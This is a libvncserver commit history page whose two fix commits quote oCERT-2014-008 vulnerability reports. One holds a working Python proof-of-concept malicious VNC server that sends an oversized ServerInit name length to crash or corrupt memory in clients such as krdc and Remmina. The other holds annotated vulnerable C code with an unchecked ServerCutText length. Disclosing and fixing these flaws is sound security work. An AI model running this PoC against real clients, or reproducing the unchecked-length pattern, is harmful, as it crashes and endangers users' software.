Skip to content

L
libvncserver
Switch branch/tag
  1. 14 Oct, 2014 1 commit
  3. 10 Oct, 2014 2 commits
    • Christian Beier's avatar
      Fix possible libvncclient ServerInit memory corruption. · 7ef0ae90
      Christian Beier authored 
      This fixes the following oCERT report (oCERT-2014-008 pt.2):

There is a similar vulnerability to the previous one I sent. This is related to the ServerInit message where the width, the height of the server's framebuffer, its pixel format, and the name are sent to the client. The name can be used in a malicious manner to trigger a memory corruption in the client.

Field             Size
---------------------------------
name-length [4]
name-string  [name-length]

Below you will find a PoC script to show the vulnerability. This was tested on Fedora 20 with the latest version of krdc.

I have noticed something, where the memory corruption causes the program to hang but allows you to try to disconnect. After this it hangs. Occasionally there will be segmentation fault in memcpy. This can become more reliable if you connect to a different VNC server first (Or the wrong port on the malicious server) then connecting to the malicious port. Every time I accidentally made the wrong VNC connection attempt the next time I connected it segfault'd.

Just run the script it will listen on port 5900 and connect to it with krdc for example. I have observed Remmina crash more reliably.

import socket,struct,sys

HOST = ""
PORT =  5900

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.bind((HOST,PORT))
c.listen(1)

conn,addr = c.accept()
print "Connected by ", addr

protocolVersion3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
conn.send(protocolVersion3008)

data = conn.recv(1024) # Receive the version from them.

secTypeNone = "\x01\x01"
secTypeAuth = "\x01\x02"
conn.send(secTypeNone)

data = conn.recv(1024) # Receive the secType choice from them.

secResultOk = "\x00" * 4
secResultNo = "\x00\x00\x00\x01"
conn.send(secResultOk)

data = conn.recv(1024) # Receive the ClientInit (Shared-flag).

frameBufferWidth = 0x0480
frameBufferHeight = 0x0360
bitsPerPixel = 0x20
depth = 0x18
bigEndian = 0x1
trueColor = 0x0
redM = 0x0
greenM = 0x0
blueM =  0x0
redS = 0x0
greenS = 0x0
blueS = 0x0
padding = "\x00\x00\x00"
nameLength = 0xffffffff
nameString = "AA" * 0xFFFF + "\x00\x0a"

conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth, frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM, greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I", nameLength) + nameString )

c.close()
      7ef0ae90
    • Christian Beier's avatar
      Fix potential memory corruption in libvncclient. · 95efcfbf
      Christian Beier authored 
      Fixes (maybe amongst others) the following oCERT report ([oCERT-2014-008]):

LibVNCServer HandleRFBServerMessage rfbServerCutText malicious msg.sct.length

It looks like there may be a chance for potential memory corruption when a LibVNCServer client attempts to process a Server Cut Text message.

  case rfbServerCutText:
  {
    char *buffer;

    if (!ReadFromRFBServer(client, ((char *)&msg) + 1,
			   sz_rfbServerCutTextMsg - 1))
      return FALSE;

    msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); << Retrieve malicious length

    buffer = malloc(msg.sct.length+1); << Allocate buffer. Can return 0x0

    if (!ReadFromRFBServer(client, buffer, msg.sct.length)) << Attempt to write to buffer
      return FALSE;

    buffer[msg.sct.length] = 0; << Attempt to write to buffer

    if (client->GotXCutText)
      client->GotXCutText(client, buffer, msg.sct.length); << Attempt to write to buffer

    free(buffer);

    break;
  }

If a message is provided with an extremely large size it is possible to cause the malloc to fail, further leading to an attempt to write 0x0.
      95efcfbf
  5. 09 Oct, 2014 2 commits
  7. 07 Oct, 2014 5 commits
  9. 06 Oct, 2014 3 commits
  11. 03 Oct, 2014 1 commit
  13. 02 Oct, 2014 8 commits
  15. 30 Sep, 2014 4 commits
  17. 20 Sep, 2014 13 commits
  19. 09 Sep, 2014 1 commit